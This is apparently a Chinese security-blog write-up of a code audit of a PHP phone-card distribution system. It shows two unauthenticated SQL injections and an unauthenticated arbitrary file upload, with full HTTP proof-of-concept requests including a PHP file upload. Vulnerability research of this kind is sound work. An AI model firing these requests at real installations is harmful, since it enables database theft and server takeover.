点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
最近因为二期公开课原因开始复习PHP代码审计,搞了几套源码审审,水水文章
项目介绍
环境搭建
代码审计
系统架构分析
前台SQL注入
第一处
第二处
前台任意文件上传
最后
项目介绍
一套完善,多功能,的号卡分销系统,多接口,包括运营商接口,无限三级代理,最简单易用的PHP~ 目前市面上最优雅的号卡系统!没有之一
环境搭建
项目下载地址在文章末尾
我本地采用小皮面板搭建,对应配置
配置后在代码中修改数据库信息
配置文件:upload/untils/conn.php
创建对应数据库,导入sql文件,编码:UTF8,UTF8_bin
配置完成后直接访问
代码审计
源码架构分析
非框架的源码,测了个登入数据包,是直链访问,那么就不需要考虑筛文件了,除了部分方法不能直接调用。
前台SQL注入
按照公开课讲的逻辑,先判断数据库查询方法
发现使用的是mysqli_query()做数据查询,那么这个方法是不存在预编译的,也就是说只要执行sql语句中有参数可控没有数据类型转换的话就存在注入
第一处
对应文件:/make/controller/logincheck.php
在第17行进行sql查询,16行定义了sql语句,直接拼接$name,$name在第5行通过POST获取,过程中没有数据过滤,和数据处理,存在注入
测试数据包
POST /make/controller/logincheck.php HTTP/1.1
Host: shoujihao:991
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Referer: http://shoujihao:991/make/login.php
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Origin: http://shoujihao:991
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 47
username=admin*&password=qymao.cnHF56&token=make
sqlmap结果
第二处
对应文件:link.php
很明显的GET请求接收id,拼接到SQL语句中带入执行,写的跟漏洞demo似的
sqlmap结果
前台文件上传
对应文件:upload/make/controller/doAddhb.php
路由看着是后台的,但是实际上没有鉴权
在25行通过move_uploaded_file()上传文件,关注$tmpname,$tmpname在第9行直接获取,过程中没有看到文件类型检测,那么这里存在任意文件上传,看下上传目录的构造,$targetFile是$targetDir .+ newFilename组成,目录固定,文件名采用了时间戳,保留了原本上传文件的后缀,存在任意文件上传
测试数据包
POST /make/controller/doAddhb.php HTTP/1.1
Host: shoujihao:991
Origin: http://127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTcb0NCixfSRYM5OA
Referer: http://127.0.0.1/test/upload.html
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Content-Length: 1121
------WebKitFormBoundaryTcb0NCixfSRYM5OA
Content-Disposition: form-data; name="poster_url"; filename="ELOG.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryTcb0NCixfSRYM5OA--
提示上传成功,但是这里没有回显文件名,实战情况下需要通过时间戳爆破文件名
最后
[源码获取]微信公众号回复“shoujihao”获取下载地址
二期公开课《PHP代码审计速成》持续更新中...
直播通知和课件都会在交流群中发布,有需要的师傅可以加我VX,备注:交流群,我拉你进群
原文始发于微信公众号(菜狗安全):PHP代审之某号卡推广分销管理系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论